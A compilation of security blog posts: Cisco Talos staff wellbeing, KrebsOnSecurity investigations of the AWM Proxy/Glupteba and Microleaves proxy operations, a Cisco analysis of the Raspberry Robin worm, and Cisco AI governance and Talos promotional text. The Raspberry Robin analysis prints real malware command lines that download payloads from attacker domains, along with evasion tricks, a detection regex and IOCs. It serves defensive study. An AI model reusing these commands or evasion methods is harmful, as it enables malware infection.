Outside of work, Benge competes as an Olympic weightlifter. After months of training, her first national level meet was scheduled to happen early into the war in Ukraine. She considered withdrawing given the 24/7 nature of Cisco Talos’ response. However, “only because of the support of those around me,” Benge decided to compete—while working from her phone in the warm up room between lifts. The physical movement allows Benge to manage her mental health and stress while modeling self-care for the team: “If I can’t be my own best self, then the people around me can hardly be expected to do the same.”

Self-care and mental health are so important to the team that Henderson and Benge recently joined their colleagues, Matt Olney, the director of threat intelligence and interdiction, and Strategic Communications Leader Mitch Neff on a Cisco Secure podcast about mental health. The conversation illuminated the importance of reaching out for help, utilizing support systems such as those provided by Cisco and talking to someone including a therapist.

“Using those types of resources is a valuable thing, particularly when managing very high levels of stress and anxiety that come with cybersecurity. No matter what kind of support it is that we need, it’s important to take that time and recognize that it’s valuable to invest in your own mental health,” Benge stated.

Seaman shared that because it can be hard to ask for help or delegate, when she does, she gives herself a pat on the back. She advises that especially in crisis situations it’s important to remember that while things need to get done, it’s not entirely on you to get those things done. “The leadership at Cisco Talos has really emphasized that you’re not alone. The employee assistance program has been a great resource and I’ve got a therapist that I talk to about these things and make sure that I’m taking care of myself so that I can continue to take care of others.”

The team’s bond and purpose run deep. “We care deeply about everyone that we work with. It’s okay to not be on at all times. It’s okay to feel sad and it’s okay to feel anxious. One of the things that I’ve loved about working with Cisco Talos, especially during these more difficult things, is that everybody’s got your back and they make it a safe space to share those feelings. I truly feel like the people I work with are like my family. We’re curated an environment where we can all talk about what we’re going through.”

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To learn more about Cisco Talos, Cisco Secure and Duo Security and how you can apply your empathy, skills and passion to make a difference in cybersecurity, check out open roles.

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The Link Between AWM Proxy & the Glupteba Botnet

On December 7, 2021, Google announced it was suing two Russian men allegedly responsible for operating the Glupteba botnet, a global malware menace that has infected millions of computers over the past decade. That same day, AWM Proxy — a 14-year-old anonymity service that rents hacked PCs to cybercriminals — suddenly went offline. Security experts had long seen a link between Glupteba and AWM Proxy, but new research shows AWM Proxy’s founder is one of the men being sued by Google.

Launched in March 2008, AWM Proxy quickly became the largest service for crooks seeking to route their malicious Web traffic through compromised devices. In 2011, researchers at Kaspersky Lab showed that virtually all of the hacked systems for rent at AWM Proxy had been compromised by TDSS (a.k.a TDL-4 and Alureon), a stealthy “rootkit” that installs deep within infected PCs and loads even before the underlying Windows operating system boots up.

In March 2011, security researchers at ESET found TDSS was being used to deploy Glupteba, another rootkit that steals passwords and other access credentials, disables security software, and tries to compromise other devices on the victim’s network — such as Internet routers and media storage servers — for use in relaying spam or other malicious traffic.

Like its predecessor TDSS, Glupteba is primarily distributed through “pay-per-install” or PPI networks, and via traffic purchased from traffic distribution systems (TDS). Pay-per-install networks try to match cybercriminals who already have access to large numbers of hacked PCs with other crooks seeking broader distribution of their malware.

In a typical PPI network, clients will submit their malware—a spambot or password-stealing Trojan, for example —to the service, which in turn charges per thousand successful installations, with the price depending on the requested geographic location of the desired victims. One of the most common ways PPI affiliates generate revenue is by secretly bundling the PPI network’s installer with pirated software titles that are widely available for download via the web or from file-sharing networks.

Over the past decade, both Glupteba and AWM Proxy have grown substantially. When KrebsOnSecurity first covered AWM Proxy in 2011, the service was selling access to roughly 24,000 infected PCs scattered across dozens of countries. Ten years later, AWM Proxy was offering 10 times that number of hacked systems on any given day, and Glupteba had grown to more than one million infected devices worldwide.

There is also ample evidence to suggest that Glupteba may have spawned Meris, a massive botnet of hacked Internet of Things (IoT) devices that surfaced in September 2021 and was responsible for some of the largest and most disruptive distributed denial-of-service (DDoS) attacks the Internet has ever seen.

But on Dec. 7, 2021, Google announced it had taken technical measures to dismantle the Glupteba botnet, and filed a civil lawsuit (PDF) against two Russian men thought to be responsible for operating the vast crime machine. AWM Proxy’s online storefront disappeared that same day.

AWM Proxy quickly alerted its customers that the service had moved to a new domain, with all customer balances, passwords and purchase histories seamlessly ported over to the new home. However, subsequent takedowns targeting AWM Proxy’s domains and other infrastructure have conspired to keep the service on the ropes and frequently switching domains ever since.

Earlier this month, the United States, Germany, the Netherlands and the U.K. dismantled the “RSOCKS” botnet, a competing proxy service that had been in operation since 2014. KrebsOnSecurity has identified the owner of RSOCKS as a 35-year-old from Omsk, Russia who runs the world’s largest forum catering to spammers.

Shortly after last week’s story on the RSOCKS founder, I heard from Riley Kilmer, co-founder of Spur.us, a startup that tracks criminal proxy services. Kilmer said RSOCKS was similarly disabled after Google’s combined legal sneak attack and technical takedown targeting Glupteba.

“The RSOCKS website gave you the estimated number of proxies in each of their subscription packages, and that number went down to zero on Dec. 7,” Kilmer said. “It’s not clear if that means the services were operated by the same people, or if they were just using the same sources (i.e., PPI programs) to generate new installations of their malware.”

Kilmer said each time his company tried to determine how many systems RSOCKS had for sale, they found each Internet address being sold by RSOCKS was also present in AWM Proxy’s network. In addition, Kilmer said, the application programming interfaces (APIs) used by both services to keep track of infected systems were virtually identical, once again suggesting strong collaboration.

“One hundred percent of the IPs we got back from RSOCKS we’d already identified in AWM,” Kilmer said. “And the IP port combinations they give you when you access an individual IP were the same as from AWM.”

In 2011, KrebsOnSecurity published an investigation that identified one of the founders of AWM Proxy, but Kilmer’s revelation prompted me to take a fresh look at the origins of this sprawling cybercriminal enterprise to determine if there were additional clues showing more concrete links between RSOCKS, AWM Proxy and Glupteba.

IF YOUR PLAN IS TO RIP OFF GOOGLE…

Supporting Kilmer’s theory that AWM Proxy and RSOCKS may simply be using the same PPI networks to spread, further research shows the RSOCKS owner also had an ownership stake in AD1[.]ru, an extremely popular Russian-language pay-per-install network that has been in operation for at least a decade.

Google took aim at Glupteba in part because its owners were using the botnet to divert and steal vast sums in online advertising revenue. So it’s more than a little ironic that the critical piece of evidence linking all of these operations begins with a Google Analytics code included in the HTML code for the original AWM Proxy back in 2008 (UA-3816536).

That analytics code also was present on a handful of other sites over the years, including the now-defunct Russian domain name registrar Domenadom[.]ru, and the website web-site[.]ru, which curiously was a Russian company operating a global real estate appraisal business called American Appraisal.

Two other domains connected to that Google Analytics code — Russian plastics manufacturers techplast[.]ru and tekhplast.ru — also shared a different Google Analytics code (UA-1838317) with web-site[.]ru and with the domain “starovikov[.]ru.”

The name on the WHOIS registration records for the plastics domains is an “Alexander I. Ukraincki,” whose personal information also is included in the domains tpos[.]ru and alphadisplay[.]ru, both apparently manufacturers of point-of-sale payment terminals in Russia.

Constella Intelligence, a security firm that indexes passwords and other personal information exposed in past data breaches, revealed dozens of variations on email addresses used by Alexander I. Ukraincki over the years. Most of those email addresses start with some variation of “uai@” followed by a domain from one of the many Russian email providers (e.g., yandex.ru, mail.ru). [Full disclosure: Constella is currently an advertiser on this website].

But Constella also shows those different email addresses all relied on a handful of passwords — most commonly “2222den” and “2222DEN.” Both of those passwords have been used almost exclusively in the past decade by the person who registered more than a dozen email addresses with the username “dennstr.”

The dennstr identity leads to several variations on the same name — Denis Strelinikov, or Denis Stranatka, from Ukraine, but those clues ultimately led nowhere promising. And maybe that was the point.

Things began looking brighter after I ran a search in DomainTools for web-site[.]ru’s original WHOIS records, which shows it was assigned in 2005 to a “private person” who used the email address lycefer@gmail.com. A search in Constella on that email address says it was used to register nearly two dozen domains, including starovikov.ru and starovikov[.]com.

A cached copy of the contact page for Starovikov[.]com shows that in 2008 it displayed the personal information for a Dmitry Starovikov, who listed his Skype username as “lycefer.”

Finally, Russian incorporation documents show the company LLC Website (web-site[.]ru)was registered in 2005 to two men, one of whom was named Dmitry Sergeevich Starovikov.

Bringing this full circle, Google says Starovikov is one of the two operators of the Glupteba botnet:

Mr. Starovikov did not respond to requests for comment. But attorneys for Starovikov and his co-defendant last month filed a response to Google’s complaint in the Southern District of New York, denying (PDF) their clients had any knowledge of the scheme.

Despite all of the disruption caused by Google’s legal and technical meddling, AWM is still around and nearly as healthy as ever, although the service has been branded with a new name and there are dubious claims of new owners. Advertising customer plans ranging from $50 a day to nearly $700 for “VIP access,” AWM Proxy says its malware has been running on approximately 175,000 systems worldwide over the last 24 hours, and that roughly 65,000 of these systems are currently online.

Meanwhile, the administrators of RSOCKS recently alerted customers that the service and any unspent balances will soon be migrated over to a new location.

Many people seem to equate spending time, money and effort to investigate and prosecute cybercriminals with the largely failed war on drugs, meaning there is an endless supply of up-and-coming crooks who will always fill in any gaps in the workforce whenever cybercriminals face justice.

While that may be true for many low-level cyber thieves today, investigations like these show once again how small the cybercriminal underground really is. It also shows how it makes a great deal of sense to focus efforts on targeting and disrupting the relatively small number of established hackers who remain the real force multipliers of cybercrime.

Breach Exposes Users of Microleaves Proxy Service

Microleaves, a ten-year-old proxy service that lets customers route their web traffic through millions of Microsoft Windows computers, recently fixed a vulnerability in their website that exposed their entire user database. Microleaves claims its proxy software is installed with user consent, but data exposed in the breach shows the service has a lengthy history of being supplied with new proxies by affiliates incentivized to distribute the software any which way they can — such as by secretly bundling it with other titles.

Launched in 2013, Microleaves is a service that allows customers to route their Internet traffic through PCs in virtually any country or city around the globe. Microleaves works by changing each customer’s Internet Protocol (IP) address every five to ten minutes.

The service, which accepts PayPal, Bitcoin and all major credit cards, is aimed primarily at enterprises engaged in repetitive, automated activity that often results in an IP address being temporarily blocked — such as data scraping, or mass-creating new accounts at some service online.

In response to a report about the data exposure from KrebsOnSecurity, Microleaves said it was grateful for being notified about a “very serious issue regarding our customer information.”

Abhishek Gupta is the PR and marketing manager for Microleaves, which he said in the process of being rebranded to “Shifter.io.” Gupta said the report qualified as a “medium” severity security issue in Shifter’s brand new bug bounty program (the site makes no mention of a bug bounty), which he said offers up to $2,000 for reporting data exposure issues like the one they just fixed. KrebsOnSecurity declined the offer and requested that Shifter donate the amount to the Electronic Frontier Foundation (EFF), a digital rights group.

From its inception nearly a decade ago, Microleaves has claimed to lease between 20-30 million IPs via its service at any time. Riley Kilmer, co-founder of the proxy-tracking service Spur.us, said that 20-30 million number might be accurate for Shifter if measured across a six-month time frame. Currently, Spur is tracking roughly a quarter-million proxies associated with Microleaves/Shifter each day, with a high rate of churn in IPs.

Early on, this rather large volume of IP addresses led many to speculate that Microleaves was just a botnet which was being resold as a commercial proxy service.

The very first discussion thread started by the new user Microleaves on the forum BlackHatWorld in 2013 sought forum members who could help test and grow the proxy network. At the time, the Microleaves user said their proxy network had 150,000 IPs globally, and was growing quickly.

One of BlackHatWorld’s moderators asked the administrator of the forum to review the Microleaves post.

“User states has 150k proxies,” the forum skeptic wrote. “No seller on BHW has 150k working daily proxies none of us do. Which hints at a possible BOTNET. That’s the only way you will get 150k.”

Microleaves has long been classified by antivirus companies as adware or as a “potentially unwanted program” (PUP), the euphemism that antivirus companies use to describe executable files that get installed with ambiguous consent at best, and are often part of a bundle of software tied to some “free” download. Security vendor Kaspersky flags the Microleaves family of software as a trojan horse program that commandeers the user’s Internet connection as a proxy without notifying the user.

“While working, these Trojans pose as Microsoft Windows Update,” Kaspersky wrote.

In a February 2014 post to BlackHatWorld, Microleaves announced that its sister service — reverseproxies[.]com — was now offering an “Auto CAPTCHA Solving Service,” which automates the solving of those squiggly and sometimes frustrating puzzles that many websites use to distinguish bots from real visitors. The CAPTCHA service was offered as an add-on to the Microleaves proxy service, and ranged in price from $20 for a 2-day trial to $320 for solving up to 80 captchas simultaneously.

“We break normal Recaptcha with 60-90% success rate, recaptcha with blobs 30% success, and 500+ other captcha,” Microleaves wrote. “As you know all success rate on recaptcha depends very much on good proxies that are fresh and not spammed!”

WHO IS ACIDUT?

The exposed Microleaves user database shows that the first user created on the service — username “admin” — used the email address alex.iulian@aol.com. A search on that email address in Constella Intelligence, a service that tracks breached data, reveals it was used to create an account at the link shortening service bit.ly under the name Alexandru Florea, and the username “Acidut.” [Full disclosure: Constella is currently an advertiser on this website].

According to the cyber intelligence company Intel 471, a user named Acidut with the email address iulyan87_4u@gmail.com had an active presence on almost a dozen shadowy money-making and cybercrime forums from 2010 to 2017, including BlackHatWorld, Carder[.]pro, Hackforums, OpenSC, and CPAElites.

In a 2011 post on Hackforums, Acidut said they were building a botnet using an “exploit kit,” a set of browser exploits made to be stitched into hacked websites and foist malware on visitors. Acidut claimed their exploit kit was generating 3,000 to 5,000 new bots each day. OpenSC was hacked at one point, and its private messages show Acidut purchased a license from Exmanoize, the handle used by the creator of the Eleonore Exploit Kit.

By November 2013, Acidut was advertising the sale of “26 million SOCKS residential proxies.” In a March 2016 post to CPAElites, Acidut said they had a worthwhile offer for people involved in pay-per-install or “PPI” schemes, which match criminal gangs who pay for malware installs with enterprising hackers looking to sell access to compromised PCs and websites.

Because pay-per-install affiliate schemes rarely impose restrictions on how the software can be installed, such programs can be appealing for cybercriminals who already control large collections of hacked machines and/or compromised websites. Indeed, Acidut went a step further, adding that their program could be quietly and invisibly nested inside of other programs.

“For those of you who are doing PPI I have a global offer that you can bundle to your installer,” Acidut wrote. “I am looking for many installs for an app that will generate website visits. The installer has a silence version which you can use inside your installer. I am looking to buy as many daily installs as possible worldwide, except China.”

Asked about the source of their proxies in 2014, the Microleaves user responded that it was “something related to a PPI network. I can’t say more and I won’t get into details.”

Acidut authored a similar message on the forum BlackHatWorld in 2013, where they encouraged users to contact them on Skype at the username “nevo.julian.” That same Skype contact address was listed prominently on the Microleaves homepage up until about a week ago when KrebsOnSecurity first reached out to the company.

ONLINE[.]IO (NOW MERCIFULLY OFFLINE)

There is a Facebook profile for an Alexandru Iulian Florea from Constanta, Romania, whose username on the social media network is Acidut. Prior to KrebsOnSecurity alerting Shifter of its data breach, the Acidut profile page associated Florea with the websites microleaves.com, shrooms.io, leftclick[.]io, and online[.]io. Mr. Florea did not respond to multiple requests for comment, and his Facebook page no longer mentions these domains.

Leftclick and online[.]io emerged as subsidiaries of Microleaves between 2017 and 2018. According to a help wanted ad posted in 2018 for a developer position at online[.]io, the company’s services were brazenly pitched to investors as “a cybersecurity and privacy tool kit, offering extensive protection using advanced adblocking, anti-tracking systems, malware protection, and revolutionary VPN access based on residential IPs.”

“Online[.]io is developing the first fully decentralized peer-to-peer networking technology and revolutionizing the browsing experience by making it faster, ad free, more reliable, secure and non-trackable, thus freeing the Internet from annoying ads, malware, and trackers,” reads the rest of that help wanted ad.

Microleaves CEO Alexandru Florea gave an “interview” to the website Irishtechnews.ie in 2018, in which he explained how Online[.]io (OIO) was going to upend the online advertising and security industries with its initial coin offering (ICO). The word interview is in air quotes because the following statements by Florea deserved some serious pushback by the interviewer.

“Online[.]io solution, developed using the Ethereum blockchain, aims at disrupting the digital advertising market valued at more than $1 trillion USD,” Alexandru enthused. “By staking OIO tokens and implementing our solution, the website operators will be able to access a new non-invasive revenue stream, which capitalizes on time spent by users online.”

“At the same time, internet users who stake OIO tokens will have the opportunity to monetize on the time spent online by themselves and their peers on the World Wide Web,” he continued. “The time spent by users online will lead to ICE tokens being mined, which in turn can be used in the dedicated merchant system or traded on exchanges and consequently changed to fiat.”

Translation: If you install our proxy bot/CAPTCHA-solver/ad software on your computer — or as an exploit kit on your website — we’ll make millions hijacking ads and you will be rewarded with heaps of soon-to-be-worthless shitcoin. Oh, and all your security woes will disappear, too.

It’s unclear how many Internet users and websites willingly agreed to get bombarded with Online[.]io’s annoying ads and search hijackers — and to have their PC turned into a proxy or CAPTCHA-solving zombie for others. But that is exactly what multiple security companies said happened when users encountered online[.]io, which operated using the Microsoft Windows process name of “online-guardian.exe.”

Incredibly, Crunchbase says Online[.]io raised $6 million in funding for an initial coin offering in 2018, based on the plainly ludicrous claims made above. Since then, however, online[.]io seems to have gone…offline, for good.

SUPER TECH VENTURES?

Until this week, Shifter.io’s website also exposed information about its customer base and most active users, as well as how much money each client has paid over the lifetime of their subscription. The data indicates Shifter has earned more than $11.7 million in direct payments, although it’s unclear how far back in time those payment records go, or how complete they are.

The bulk of Shifter customers who spent more than $100,000 at the proxy service appear to be digital advertising companies, including some located in the United States. None of the several Shifter customers approached by KrebsOnSecurity agreed to be interviewed.

Shifter’s Gupta said he’d been with the company for three years, since the new owner took over the company and made the rebrand to Shifter.

“The company has been on the market for a long time, but operated under a different brand called Microleaves, until new ownership and management took over the company started a reorganization process that is still on-going,” Gupta said. “We are fully transparent. Mostly [our customers] work in the data scraping niche, this is why we actually developed more products in this zone and made a big shift towards APIs and integrated solutions in the past year.”

Ah yes, the same APIs and integrated solutions that were found exposed to the Internet and leaking all of Shifter’s customer information.

Gupta said the original founder of Microleaves was a man from India, who later sold the business to Florea. According to Gupta, the Romanian entrepreneur had multiple issues in trying to run the company, and then sold it three years ago to the current owner — Super Tech Ventures, a private equity company based in Taiwan.

“Our CEO is Wang Wei, he has been with the company since 3 years ago,” Gupta said. “Mr. Florea left the company two years ago after ending this transition period.”

Google and other search engines seem to know nothing about a Super Tech Ventures based in Taiwan. Incredibly, Shifter’s own PR person claimed that he, too, was in the dark on this subject.

“I would love to help, but I really don’t know much about the mother company,” Gupta said, essentially walking back his “fully transparent” statement. “I know they are a branch of the bigger group of asian investment firms focused on private equity in multiple industries.”

Adware and proxy software are often bundled together with “free” software utilities online, or with popular software titles that have been pirated and quietly fused with installers tied to various PPI affiliate schemes.

But just as often, these intrusive programs will include some type of notice — even if installed as part of a software bundle — that many users simply do not read and click “Next” to get on with installing whatever software they’re seeking to use. In these cases, selecting the “basic” or “default” settings while installing usually hides any per-program installation prompts, and assumes you agree to all of the bundled programs being installed. It’s always best to opt for the “custom” installation mode, which can give you a better idea of what is actually being installed, and can let you control certain aspects of the installation.

Either way, it’s best to start with the assumption that if a software or service online is “free,” that there is likely some component involved that allows the provider of that service to monetize your activity. As KrebsOnSecurity noted at the conclusion of last week’s story on a China-based proxy service called 911, the rule of thumb for transacting online is that if you’re not the paying customer, then you and/or your devices are probably the product that’s being sold to others.

Further reading on proxy services:

July 18, 2022: A Deep Dive Into the Residential Proxy Service ‘911’
June 28, 2022: The Link Between AWM Proxy & the Glupteba Botnet
June 22, 2022: Meet the Administrators of the RSOCKS Proxy Botnet
Sept. 1, 2021: 15-Year-Old Malware Proxy Network VIP72 Goes Dark
Aug. 19, 2019: The Rise of “Bulletproof” Residential Networks

Raspberry Robin: Highly Evasive Worm Spreads over External Disks

Introduction

During our threat hunting exercises in recent months, we’ve started to observe a distinguishing pattern of msiexec.exe usage across different endpoints. As we drilled down to individual assets, we found traces of a recently discovered malware called Raspberry Robin. The RedCanary Research Team first coined the name for this malware in their blog post, and Sekoia published a Flash Report about the activity under the name of QNAP Worm. Both articles offer great analysis of the malware’s behavior. Our findings support and enrich prior research on the topic.

Execution Chain

Raspberry Robin is a worm that spreads over an external drive. After initial infection, it downloads its payload through msiexec.exe from QNAP cloud accounts, executes its code through rundll32.exe, and establishes a command and control (C2) channel through TOR connections.

Let’s walkthrough the steps of the kill-chain to see how this malware functions.

Delivery and Exploitation

Raspberry Robin is delivered through infected external disks. Once attached, cmd.exe tries to execute commands from a file within that disk. This file is either a .lnk file or a file with a specific naming pattern. Files with this pattern exhibit a 2 to 5 character name with an usually obscure extension, including .swy, .chk, .ico, .usb, .xml, and .cfg. Also, the attacker uses an excessive amount of whitespace/non printable characters and changing letter case to avoid string matching detection techniques. Example command lines include:

• C:\Windows\System32\cmd.exe [redacted whitespace/non printable characters] /RCmD<qjM.chK
• C:\Windows\System32\cmd.exe [redacted whitespace/non printable characters] /rcMD<[external disk name].LNk:qk
• C:\Windows\System32\cmd.exe [redacted whitespace/non printable characters] /v /c CMd<VsyWZ.ICO
• C:\Windows\System32\cmd.exe [redacted whitespace/non printable characters] /R C:\WINDOWS\system32\cmd.exe<Gne.Swy

File sample for delivery can be found in this URL:
https://www.virustotal.com/gui/file/04c13e8b168b6f313745be4034db92bf725d47091a6985de9682b21588b8bcae/relations

Next, we observe explorer.exe running with an obscure command line argument, spawned by a previous instance of cmd.exe. This obscure argument seems to take the name of an infected external drive or .lnk file that was previously executed. Some of the samples had values including USB, USB DISK, or USB Drive, while some other samples had more specific names. On every instance of explorer.exe we see that the adversary is changing the letter case to avoid detection:

• ExPLORer [redacted]
• exploREr [redacted]
• ExplORER USB Drive
• eXplorer USB DISK

Installation

After delivery and initial execution, cmd.exe spawns msiexec.exe to download the Raspberry Robin payload. It uses -q or /q together with standard installation parameter to operate quietly. Once again, mixed case letters are used to bypass detection:

• mSIexeC -Q -IhTtP://NT3[.]XyZ:8080/[11 char long random string]/[computer name]=[username]
• mSIExEC /q /i HTTP://k6j[.]PW:8080/[11 char long random string]/[computer name]=[username]
• MSIExEC -q -I HTTP://6W[.]RE:8080/[11 char long random string]/[computer name]=[username]
• mSIExec /Q /IhTTP://0Dz[.]Me:8080/[11 char long random string]/[computer name]=[username]
• msIexec /Q -i http://doem[.]Re:8080/[11 char long random string]/[computer name]?[username]
• MSieXEC -Q-ihtTp://aIj[.]HK:8080/[11 char long random string]/[computer name]?[username]

As you can see above, URLs used for payload download have a specific pattern. Domains use 2 to 4 character names with obscure TLDs including .xyz, .hk, .info, .pw, .cx, .me, and more. URL paths have a single directory with a random string 11 characters long, followed by hostname and the username of the victim. On network telemetry, we also observed the Windows Installer user agent due to the usage of msiexec.exe. To detect Raspberry Robin through its URL pattern, use this regex:

^http[s]{0,1}\:\/\/[a-zA-Z0-9]{2,4}\.[a-zA-Z0-9]{2,6}\:8080\/[a-zA-Z0-9]+\/.*?(?:-|\=|\?).*?$

If we look up the WHOIS information for given domains, we see domain registration dates going as far back as February 2015. We also see an increase on registered domains starting from September 2021, which aligns with initial observations of Raspberry Robin by our peers.

WHOIS Creation Date	Count
12/9/2015	1
…	…
10/8/2020	1
11/14/2020	1
7/3/2021	1
7/26/2021	2
9/11/2021	2
9/23/2021	9
9/24/2021	6
9/26/2021	4
9/27/2021	2
11/9/2021	3
11/10/2021	1
11/18/2021	2
11/21/2021	3
12/11/2021	7
12/31/2021	7
1/17/2022	6
1/30/2022	11
1/31/2022	3
4/17/2022	5

Table 1: Distribution of domain creation dates over time

 

Associated domains have SSL certificates with the subject alternative name of q74243532.myqnapcloud.com, which points out the underlying QNAP cloud infra. Also, their URL scan results return login pages to QTS service of QNAP:

Once the payload is downloaded, it is executed through various system binaries. First, rundll32.exe uses the ShellExec_RunDLL function from shell32.dll to leverage system binaries such as msiexec.exe, odbcconf.exe, or control.exe. These binaries are used to execute the payload stored in C:\ProgramData\[3 chars]\

• C:\WINDOWS\system32\rundll32.exe shell32.dll ShellExec_RunDLL C:\WINDOWS\syswow64\MSIEXEC.EXE/FORCERESTART rfmda=HUFQMJFZWJSBPXH -NORESTART /QB -QR -y C:\ProgramData\Azu\wnjdgz.vhbd. -passive /QR /PROMPTRESTART -QR -qb /forcerestart
• C:\Windows\system32\RUNDLL32.EXE shell32.dll ShellExec_RunDLLA C:\Windows\syswow64\odbcconf.exe -s -C -a {regsvr C:\ProgramData\Tvb\zhixyye.lock.} /a {CONFIGSYSDSN wgdpb YNPMVSV} /A {CONFIGDSN dgye AVRAU pzzfvzpihrnyj}
• exe SHELL32,ShellExec_RunDLLA C:\WINDOWS\syswow64\odbcconf -E /c /C -a {regsvr C:\ProgramData\Euo\ikdvnbb.xml.}
• C:\WINDOWS\system32\rundll32.exe SHELL32,ShellExec_RunDLL C:\WINDOWS\syswow64\CONTROL.EXE C:\ProgramData\Lzm\qkuiht.lkg.

It is followed by the execution of fodhelper.exe, which has the auto elevated bit set to true. It is often leveraged by adversaries in order to bypass User Account Control and execute additional commands with escalated privileges [3]. To monitor suspicious executions of fodhelper.exe, we suggest monitoring its instances without any command line arguments.

Command and Control

Raspberry Robin sets up its C2 channel through the additional execution of system binaries without any command line argument, which is quite unusual. That likely points to process injection given elevated privileges in previous steps of execution. It uses dllhost.exe, rundll32.exe, and regsvr32.exe to set up a TOR connection.

Detection through Global Threat Alerts

In Cisco Global Threat Alerts available through Cisco Secure Network Analytics and Cisco Secure Endpoint, we track this activity under the Raspberry Robin threat object. Image 3 shows a detection sample of Raspberry Robin:

Conclusion

Raspberry Robin tries to remain undetected through its use of system binaries, mixed letter case, TOR-based C2, and abuse of compromised QNAP accounts. Although we have similar intelligence gaps (how it infects external disks, what are its actions on objective) like our peers, we are continuously observing its activities.

Indicators of Compromise

Type	Stage	IOC
Domain	Payload Delivery	k6j[.]pw
Domain	Payload Delivery	kjaj[.]top
Domain	Payload Delivery	v0[.]cx
Domain	Payload Delivery	zk4[.]me
Domain	Payload Delivery	zk5[.]co
Domain	Payload Delivery	0dz[.]me
Domain	Payload Delivery	0e[.]si
Domain	Payload Delivery	5qw[.]pw
Domain	Payload Delivery	6w[.]re
Domain	Payload Delivery	6xj[.]xyz
Domain	Payload Delivery	aij[.]hk
Domain	Payload Delivery	b9[.]pm
Domain	Payload Delivery	glnj[.]nl
Domain	Payload Delivery	j4r[.]xyz
Domain	Payload Delivery	j68[.]info
Domain	Payload Delivery	j8[.]si
Domain	Payload Delivery	jjl[.]one
Domain	Payload Delivery	jzm[.]pw
Domain	Payload Delivery	k6c[.]org
Domain	Payload Delivery	kj1[.]xyz
Domain	Payload Delivery	kr4[.]xyz
Domain	Payload Delivery	l9b[.]org
Domain	Payload Delivery	lwip[.]re
Domain	Payload Delivery	mzjc[.]is
Domain	Payload Delivery	nt3[.]xyz
Domain	Payload Delivery	qmpo[.]art
Domain	Payload Delivery	tiua[.]uk
Domain	Payload Delivery	vn6[.]co
Domain	Payload Delivery	z7s[.]org
Domain	Payload Delivery	k5x[.]xyz
Domain	Payload Delivery	6Y[.]rE
Domain	Payload Delivery	doem[.]Re
Domain	Payload Delivery	bpyo[.]IN
Domain	Payload Delivery	l5k[.]xYZ
Domain	Payload Delivery	uQW[.]fUTbOL
Domain	Payload Delivery	t7[.]Nz
Domain	Payload Delivery	0t[.]yT

References

1. Raspberry Robin gets the worm early – https://redcanary.com/blog/raspberry-robin/
2. QNAP worm: who benefits from crime? – https://7095517.fs1.hubspotusercontent-na1.net/hubfs/7095517/FLINT%202022-016%20-%20QNAP%20worm_%20who%20benefits%20from%20crime%20(1).pdf
3. UAC Bypass – Fodhelper – https://pentestlab.blog/2017/06/07/uac-bypass-fodhelper/

Our Responsible Approach to Governing Artificial Intelligence

GARTNER is a registered trademark and service mark of Gartner, Inc. and/or its affiliates in the U.S. and internationally and is used herein with permission. All rights reserved.

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Chief Information Officers and other technology decision makers continuously seek new and better ways to evaluate and manage their investments in innovation – especially the technologies that may create consequential decisions that impact human rights. As Artificial Intelligence (AI) becomes more prominent in vendor offerings, there is an increasing need to identify, manage, and mitigate the unique risks that AI-based technologies may bring.

Cisco is committed to maintaining a responsible, fair, and reflective approach to the governance, implementation, and use of AI technologies in our solutions. The Cisco Responsible AI initiative maximizes the potential benefits of AI while mitigating bias or inappropriate use of these technologies.

Gartner® Research recently published “Innovation Insight for Bias Detection/Mitigation, Explainable AI and Interpretable AI,” offering guidance on the best ways to incorporate AI-based solutions that facilitates “understanding, trust and performance accountability required by stakeholders.” This newsletter describes Cisco’s approach to Responsible AI governance and features this Gartner report.

At Cisco, we are committed to managing AI development in a way that augments our focus on security, privacy, and human rights. The Cisco Responsible AI initiative and framework governs the application of responsible AI controls in our product development lifecycle, how we manage incidents that arise, engage externally, and its use across Cisco’s solutions, services, and enterprise operations.

Our Responsible AI framework comprises:

• Guidance and Oversight by a committee of senior executives across Cisco businesses, engineering, and operations to drive adoption and guide leaders and developers on issues, technologies, processes, and practices related to AI
• Lightweight Controls implemented within Cisco’s Secure Development Lifecycle compliance framework, including unique AI requirements
• Incident Management that extends Cisco’s existing Incident Response system with a small team that reviews, responds, and works with engineering to resolve AI-related incidents
• Industry Leadership to proactively engage, monitor, and influence industry associations and related bodies for emerging Responsible AI standards
• External Engagement with governments to understand global perspectives on AI’s benefits and risks, and monitor, analyze, and influence legislation, emerging policy, and regulations affecting AI in all Cisco markets.

We base our Responsible AI initiative on principles consistent with Cisco’s operating practices and directly applicable to the governance of AI innovation. These principles—Transparency, Fairness, Accountability, Privacy, Security, and Reliability—are used to upskill our development teams to map to controls in the Cisco Secure Development Lifecycle and embed Security by Design, Privacy by Design, and Human Rights by Design in our solutions. And our principle-based approach empowers customers to take part in a continuous feedback cycle that informs our development process.

We strive to meet the highest standards of these principles when developing, deploying, and operating AI-based solutions to respect human rights, encourage innovation, and serve Cisco’s purpose to power an inclusive future for all.

Check out Gartner recommendations for integrating AI into an organization’s data systems in this Newsletter and learn more about Cisco’s approach to Responsible Innovation by reading our introduction “Transparency Is Key: Introducing Cisco Responsible AI.”

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Cisco Talos — Our not-so-secret threat intel advantage

Security tools are only as good as the intelligence and expertise that feeds them. We’re very fortunate to have our security technologies powered by Cisco Talos, one of the largest and most trusted threat intelligence groups in the world. Talos is comprised of highly skilled researchers, analysts, and engineers who provide industry-leading visibility, actionable intelligence, and vulnerability research to protect both our customers and the internet at large.

The Talos team serves as a crucial pillar of our innovation — alerting customers and the public to new threats and mitigation tactics, enabling us to quickly incorporate protection into our products, and stepping in to help organizations with incident response, threat hunting, compromise assessments and more. Talos can also be found securing large-scale events such as the Super Bowl, and working with government and law enforcement organizations across the globe to share intelligence.

With Cisco’s vast customer base and broad portfolio — from routers and switches to email and endpoints — Talos has visibility into worldwide telemetry. Once a threat is seen, whether it’s a phishing URL or an IP address hosting malware, detections are created and indicators of compromise are categorized and blocked across our Cisco Secure portfolio.

Talos also leverages its unique insights to help society as a whole better understand and combat the cyberattacks facing us daily. During the war in Ukraine, the group has taken on the additional task of defending over 30 critical infrastructure providers in the country by directly managing and monitoring their endpoint security.

How Talos powers XDR

The reality of security today is that organizations must be constantly ready to detect and contain both known and unknown threats, minimize impact, and keep business going no matter what happens in the cyber realm. In light of hybrid work, evolving network architectures, and increasingly insidious attacks, all organizations must also be prepared to rapidly recover if disaster strikes, and then emerge stronger. We refer to this as security resilience, and Talos plays a critical role in helping our customers achieve it.

For several years, our integrated, cloud-native Cisco SecureX platform has been delivering extended detection and response (XDR) capabilities and more. SecureX allows customers to aggregate, analyze, and act on intelligence from disparate sources for a coordinated response to cyber threats.

